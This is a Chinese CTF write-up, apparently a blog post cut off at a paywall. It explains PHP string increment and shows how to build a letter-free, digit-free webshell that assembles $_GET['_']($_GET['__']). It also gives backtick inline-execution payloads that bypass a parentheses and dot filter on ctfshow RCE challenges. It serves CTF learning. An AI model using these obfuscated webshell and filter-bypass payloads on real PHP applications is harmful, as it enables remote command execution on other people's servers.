这五题都做出来,真的不容易呀,最终终于是在比赛结束以前全部做完了,拿到了十几块钱,是一个星期的早餐了,嘿嘿嘿嘿,哎,不过对于,自增的理解可以说是提升很多很多,这里主要讲的自增,主要详细讲解他是怎么用的。
目录
基本
我们首先我们要知道自增,在ctf中主要就是用于命令执行的无参执行,在php本身用的就是主要就是循环比较多。
<?php
//这里定义$a='a';
$a = 'a';
$a++;
echo $a; //b
$b = 'b';
$b--;
echo $b; //b
这里我们定义一个a的变量,赋值为a,进行自增之后就是变成b了,这里是根据ascii,来自增的,但是这里我们要知道PHP的ascii是不能自减的,应该是。
a的ascii码是61,++就是相当于+1,然后就变成62,62对应的ascii码就是就是b
我们接下来,来分析一个基础的自增马,来给大家先看看
这里就将别人的分好直接拿过来,哈哈哈
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
首先这里提醒一下,首先自增主要用于无参执行,所以通常都是没什么东西可以用的,通常就是上面这些。
接下给大家分析一下, 我们都知道在PHP当中我们定义一个数组的时候,直接用echo或printf之类返回的时候他就会输出Array,只有使用var_dump()的时候才是输出数组的内容。
但是这里我们要知道他返回,但是这只是他的返回值,我们还不能使用,因为他现在还不是字符串,我们要使用英语的句号,来进行拼接,这样他就是字符串了,且赋值给了变量_,这样我们才能使用它,当然并不一定是[].[],才行,我们可以拼接很多东西都可以,例如这里就可以拼接,[]._ 也是可以的
然后下面我们要用索引来取A了,当然取其他的也是可以的,$_['']和$_[0]是一样的,使用$_[_]也是一样的
然后在这前面我们还要了解一下这些东西。
PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF ( Infinite)
这里举个列:echo (1/0); //就会输出INF
当然这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); //就会输出NAN
要问他有什么用,这就要看上面的数组嘞,也是要取里面的字母。
然后感觉到这里就差不多了,开始讲解题目了。
题目详解
RCE挑战1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
这里审计代码发现,他是过滤了,括号和点,还是常用的这两个。
这里我们使用内联执行绕过。
?><?=`ls`; //反引号实际上是使用shell_exec()函数
?><?=$(ls); //这个和上面一样,不过这题好像执行不了,大家当一个扩展吧
然后?><?=`ls /`; 发现flag,cat一下就可以了
RCE挑战2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
我们们先用脚本跑一下,看看有哪些字符还能用

本文详细介绍了PHP自增操作的应用技巧,并通过五个RCE挑战题目的实战解析,展示了如何利用自增实现命令执行及参数传递,适合CTF爱好者及Web安全研究人员学习。
最低0.47元/天 解锁文章
1259





